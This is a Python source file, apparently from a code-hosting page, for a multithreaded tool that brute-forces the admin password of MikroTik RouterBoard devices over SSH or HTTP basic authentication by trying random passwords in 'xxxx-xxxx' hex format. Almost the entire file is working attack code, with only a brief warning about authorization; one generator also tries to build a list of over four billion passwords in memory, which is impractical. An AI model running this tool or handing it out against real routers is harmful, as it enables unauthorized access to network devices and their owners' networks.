348 lines
12 KiB
Python
348 lines
12 KiB
Python
"""
|
|
MikroTik RouterBoard Password Brute Force Tool
|
|
|
|
This tool attempts to find the admin password for a MikroTik device
|
|
by randomly generating and testing password combinations.
|
|
|
|
It tries all possible 4-byte hex combinations (in random order) which matches
|
|
the MikroTik password format "XXXX-XXXX".
|
|
|
|
USAGE: Only use on devices you own or have authorization to access.
|
|
Unauthorized access to computer systems is illegal.
|
|
"""
|
|
|
|
import socket
|
|
import sys
|
|
import time
|
|
import random
|
|
import string
|
|
from threading import Thread, Lock
|
|
import queue
|
|
|
|
|
|
class MikroTikBruteForce:
|
|
"""Brute force MikroTik RouterBoard passwords."""
|
|
|
|
def __init__(self, host, port=22, timeout=5, use_http=False):
|
|
"""
|
|
Initialize the brute force tool.
|
|
|
|
Args:
|
|
host (str): IP address of the device
|
|
port (int): Port to connect to (22 for SSH, 80 for HTTP)
|
|
timeout (int): Connection timeout in seconds
|
|
use_http (bool): Use HTTP instead of SSH
|
|
"""
|
|
self.host = host
|
|
self.port = port
|
|
self.timeout = timeout
|
|
self.use_http = use_http
|
|
self.username = "admin"
|
|
self.found_password = None
|
|
self.attempts = 0
|
|
self.lock = Lock()
|
|
|
|
def generate_random_passwords(self):
|
|
"""
|
|
Generate all possible 4-byte hex passwords in random order.
|
|
|
|
Yields passwords in the format "XXXX-XXXX" where X is a hex digit.
|
|
This covers all 65,536^2 possible combinations (4,294,967,296 passwords).
|
|
For practicality, we generate them randomly.
|
|
|
|
Yields:
|
|
str: A password in format "xxxx-xxxx"
|
|
"""
|
|
# Generate all possible 4-hex-digit combinations
|
|
hex_digits = string.hexdigits.lower()[:16] # 0-9, a-f
|
|
|
|
# Create all possible 8-digit hex strings
|
|
all_combinations = []
|
|
for i in range(0x10000): # 65536 combinations for first 4 digits
|
|
for j in range(0x10000): # 65536 combinations for last 4 digits
|
|
hex_str = f"{i:04x}{j:04x}"
|
|
all_combinations.append(hex_str)
|
|
|
|
# Randomize the order
|
|
random.shuffle(all_combinations)
|
|
|
|
for hex_str in all_combinations:
|
|
yield f"{hex_str[:4]}-{hex_str[4:]}"
|
|
|
|
def generate_streaming_random_passwords(self):
|
|
"""
|
|
Generate random 4-byte hex passwords on-the-fly (infinite stream).
|
|
|
|
This is more memory efficient for large-scale brute forcing.
|
|
|
|
Yields:
|
|
str: A password in format "xxxx-xxxx"
|
|
"""
|
|
seen = set()
|
|
while len(seen) < 0x100000000: # 4,294,967,296 possible passwords
|
|
# Generate random 8-digit hex string
|
|
random_val1 = random.randint(0, 0xFFFF)
|
|
random_val2 = random.randint(0, 0xFFFF)
|
|
hex_str = f"{random_val1:04x}{random_val2:04x}"
|
|
|
|
if hex_str not in seen:
|
|
seen.add(hex_str)
|
|
yield f"{hex_str[:4]}-{hex_str[4:]}"
|
|
|
|
def try_password_ssh(self, password):
|
|
"""
|
|
Try connecting with SSH.
|
|
|
|
Args:
|
|
password (str): Password to try
|
|
|
|
Returns:
|
|
bool: True if successful, False otherwise
|
|
"""
|
|
try:
|
|
import paramiko
|
|
except ImportError:
|
|
print("Error: paramiko not installed. Install with: pip install paramiko")
|
|
return False
|
|
|
|
try:
|
|
client = paramiko.SSHClient()
|
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
|
|
client.connect(
|
|
self.host,
|
|
port=self.port,
|
|
username=self.username,
|
|
password=password,
|
|
timeout=self.timeout,
|
|
allow_agent=False,
|
|
look_for_keys=False,
|
|
)
|
|
client.close()
|
|
return True
|
|
except paramiko.AuthenticationException:
|
|
return False
|
|
except Exception:
|
|
return False
|
|
|
|
def try_password_http(self, password):
|
|
"""
|
|
Try connecting via HTTP (WebFig).
|
|
|
|
Args:
|
|
password (str): Password to try
|
|
|
|
Returns:
|
|
bool: True if successful, False otherwise
|
|
"""
|
|
try:
|
|
import requests
|
|
from requests.auth import HTTPBasicAuth
|
|
except ImportError:
|
|
print("Error: requests not installed. Install with: pip install requests")
|
|
return False
|
|
|
|
try:
|
|
response = requests.get(
|
|
f"http://{self.host}:{self.port}/",
|
|
auth=HTTPBasicAuth(self.username, password),
|
|
timeout=self.timeout,
|
|
)
|
|
return response.status_code == 200
|
|
except Exception:
|
|
return False
|
|
|
|
def try_password(self, password):
|
|
"""Try a password using the configured method."""
|
|
if self.use_http:
|
|
return self.try_password_http(password)
|
|
else:
|
|
return self.try_password_ssh(password)
|
|
|
|
def brute_force(self, num_threads=1, memory_efficient=False):
|
|
"""
|
|
Brute force the password by trying random combinations.
|
|
|
|
Args:
|
|
num_threads (int): Number of concurrent threads to use
|
|
memory_efficient (bool): Use streaming random generation (memory efficient)
|
|
|
|
Returns:
|
|
str: Password if found, None otherwise
|
|
"""
|
|
print(f"[*] Starting brute force on {self.host}:{self.port}")
|
|
print(f"[*] Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
|
|
print(f"[*] Threads: {num_threads}")
|
|
print(f"[*] Memory efficient: {memory_efficient}")
|
|
print(f"[*] Trying random passwords in format 'xxxx-xxxx'")
|
|
print()
|
|
|
|
start_time = time.time()
|
|
|
|
if memory_efficient:
|
|
password_generator = self.generate_streaming_random_passwords()
|
|
else:
|
|
password_generator = self.generate_random_passwords()
|
|
|
|
if num_threads == 1:
|
|
return self._brute_force_single_thread(password_generator, start_time)
|
|
else:
|
|
return self._brute_force_multi_thread(password_generator, num_threads, start_time)
|
|
|
|
def _brute_force_single_thread(self, password_generator, start_time):
|
|
"""Single-threaded brute force."""
|
|
for password in password_generator:
|
|
with self.lock:
|
|
self.attempts += 1
|
|
|
|
if self.attempts % 100 == 0:
|
|
elapsed = time.time() - start_time
|
|
rate = self.attempts / elapsed if elapsed > 0 else 0
|
|
print(
|
|
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
|
|
f"Elapsed: {elapsed:.1f}s - Last tried: {password}"
|
|
)
|
|
|
|
if self.try_password(password):
|
|
elapsed = time.time() - start_time
|
|
print()
|
|
print(f"[+] SUCCESS! Found password: {password}")
|
|
print(f"[+] Total attempts: {self.attempts}")
|
|
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
|
|
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
|
|
return password
|
|
|
|
print("[-] Brute force complete. Password not found.")
|
|
return None
|
|
|
|
def _brute_force_multi_thread(self, password_generator, num_threads, start_time):
|
|
"""Multi-threaded brute force."""
|
|
password_queue = queue.Queue(maxsize=1000)
|
|
result_queue = queue.Queue()
|
|
|
|
# Producer thread
|
|
def producer():
|
|
for password in password_generator:
|
|
if result_queue.empty(): # Stop if password found
|
|
password_queue.put(password)
|
|
|
|
# Worker threads
|
|
def worker():
|
|
while True:
|
|
try:
|
|
password = password_queue.get(timeout=1)
|
|
except queue.Empty:
|
|
break
|
|
|
|
with self.lock:
|
|
self.attempts += 1
|
|
|
|
if self.attempts % 100 == 0:
|
|
elapsed = time.time() - start_time
|
|
rate = self.attempts / elapsed if elapsed > 0 else 0
|
|
print(
|
|
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
|
|
f"Last tried: {password}"
|
|
)
|
|
|
|
if self.try_password(password):
|
|
result_queue.put(password)
|
|
print()
|
|
print(f"[+] SUCCESS! Found password: {password}")
|
|
return
|
|
|
|
password_queue.task_done()
|
|
|
|
# Start threads
|
|
producer_thread = Thread(target=producer, daemon=True)
|
|
producer_thread.start()
|
|
|
|
worker_threads = [Thread(target=worker, daemon=True) for _ in range(num_threads)]
|
|
for thread in worker_threads:
|
|
thread.start()
|
|
|
|
# Wait for result or completion
|
|
producer_thread.join(timeout=3600)
|
|
for thread in worker_threads:
|
|
thread.join(timeout=10)
|
|
|
|
if not result_queue.empty():
|
|
password = result_queue.get()
|
|
elapsed = time.time() - start_time
|
|
print(f"[+] Total attempts: {self.attempts}")
|
|
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
|
|
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
|
|
return password
|
|
|
|
print("[-] Brute force complete. Password not found.")
|
|
return None
|
|
|
|
|
|
def main():
|
|
"""Main entry point."""
|
|
print("MikroTik RouterBoard Password Brute Force Tool")
|
|
print("=" * 55)
|
|
print()
|
|
print("⚠️ WARNING: Only use on devices you own or have authorization to access.")
|
|
print()
|
|
|
|
if len(sys.argv) < 2:
|
|
print("Usage:")
|
|
print(" python script.py <HOST> [OPTIONS]")
|
|
print()
|
|
print("Arguments:")
|
|
print(" HOST IP address of MikroTik device (e.g., 192.168.88.1)")
|
|
print()
|
|
print("Options:")
|
|
print(" --port PORT Port number (default: 22 for SSH, 80 for HTTP)")
|
|
print(" --method METHOD 'ssh' or 'http' (default: ssh)")
|
|
print(" --threads N Number of concurrent threads (default: 1)")
|
|
print(" --memory-efficient Use streaming password generation (memory efficient)")
|
|
print()
|
|
print("Examples:")
|
|
print(" python script.py 192.168.88.1")
|
|
print(" python script.py 192.168.88.1 --port 22 --method ssh")
|
|
print(" python script.py 192.168.88.1 --port 80 --method http --threads 4")
|
|
print(" python script.py 192.168.88.1 --memory-efficient --threads 8")
|
|
print()
|
|
print("Password space: 65,536² = 4,294,967,296 possible 'xxxx-xxxx' passwords")
|
|
sys.exit(1)
|
|
|
|
host = sys.argv[1]
|
|
port = 22
|
|
method = "ssh"
|
|
threads = 1
|
|
memory_efficient = False
|
|
|
|
# Parse options
|
|
i = 2
|
|
while i < len(sys.argv):
|
|
if sys.argv[i] == "--port":
|
|
port = int(sys.argv[i + 1])
|
|
i += 2
|
|
elif sys.argv[i] == "--method":
|
|
method = sys.argv[i + 1].lower()
|
|
i += 2
|
|
elif sys.argv[i] == "--threads":
|
|
threads = int(sys.argv[i + 1])
|
|
i += 2
|
|
elif sys.argv[i] == "--memory-efficient":
|
|
memory_efficient = True
|
|
i += 1
|
|
else:
|
|
print(f"Unknown option: {sys.argv[i]}")
|
|
sys.exit(1)
|
|
|
|
if method not in ["ssh", "http"]:
|
|
print(f"Error: Method must be 'ssh' or 'http', not '{method}'")
|
|
sys.exit(1)
|
|
|
|
brute_forcer = MikroTikBruteForce(
|
|
host, port=port, use_http=(method == "http")
|
|
)
|
|
brute_forcer.brute_force(num_threads=threads, memory_efficient=memory_efficient)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
|